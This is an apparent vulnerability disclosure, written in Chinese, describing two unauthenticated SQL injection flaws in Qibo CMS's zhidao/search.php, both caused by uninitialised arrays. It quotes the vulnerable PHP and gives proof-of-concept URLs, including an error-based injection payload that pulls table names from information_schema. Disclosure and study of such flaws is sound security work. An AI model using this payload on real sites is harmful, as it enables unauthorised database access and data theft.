### 简要描述：
### 详细说明：
第一枚：
zhidao/search.php
```
$sort_where="where `qa_quantity`>0";
foreach($forSearchKey as $key){
$sort_where_a[]="BINARY `name` like('%$key%')";
}
if(count($sort_where_a)>0){
$sort_where.=" AND (".implode(" or ",$sort_where_a).")";
$query=$db->query("SELECT `fid`,`name`,`qa_quantity` FROM `{$_pre}sort` $sort_where ");
while($rs=$db->fetch_array($query)){
$sort_list[]=$rs;
}
}
```
语句中把先是赋值给数组sort_where_a，然后在分割为字符串赋给变量where
这本来是没有问题的，但是数组sort_where_a未初始化，结合齐博的伪全局机制就造成了sql注入（无限制 无需登录）
第二枚：
zhidao/search.php
```
if(count($forSearchKey)>2){
for($i=0;$i<ceil(count($forSearchKey)/2);$i++){
for($j=0;$j<count($forSearchKey);$j++){
if($i!=$j){
$fulltext[]=" (BINARY `title` like('%".$forSearchKey[$i]."%') AND BINARY `title` like('%".$forSearchKey[$j]."%'))";
}
}
}
$where.=" AND (".implode(" or ",$fulltext).")";
}
```
进入该语句需要count($forSearchKey)>2 但是forSearchKey我们是可以控制的
在第一个语句中把先是赋值给数组fullext，然后在分割为字符串赋给变量where（）
这本来是没有问题的，但是数组fullext未初始化，结合齐博的伪全局机制就造成了sql注入（无限制 无需登录）
而在同一页面中带进了查询语句
```
$min=($page-1)*$rows;
$query = $db->query("SELECT `aid`,`sortid`,`sid`,`info_cate`,`title`,`addtime`,`uid`,`username`,`content`,`money`,`isover`,`imgs` FROM {$_pre}content $where ORDER BY `addtime` DESC LIMIT $min,$rows");
```
### 漏洞证明：
http://localhost/zhidao/zhidao/search.php?&tags=ll%20ll%20ll&keyword=111&fulltext[]=11)
[<img src="https://images.seebug.org/upload/201505/201252426f5d6de66b8bd87ebcd34181d8980565.png" alt="22.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201505/201252426f5d6de66b8bd87ebcd34181d8980565.png)
http://localhost/zhidao/zhidao/search.php?&tags=ll%20ll%20ll&keyword=111&fulltext[]=11)%20and%201=2%20union%20select%201%20from%20(select%20count(*),concat(floor(rand(0)*2),(select%20table_name%20from%20information_schema.tables%20where%20table_schema=database()%20limit%200,1))a%20from%20information_schema.tables%20group%20by%20a)b%23
[<img src="https://images.seebug.org/upload/201505/20125302a4611492a9e4905d1c99d87d14efe312.png" alt="33.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201505/20125302a4611492a9e4905d1c99d87d14efe312.png)
京公网安备 11010502034610号
暂无评论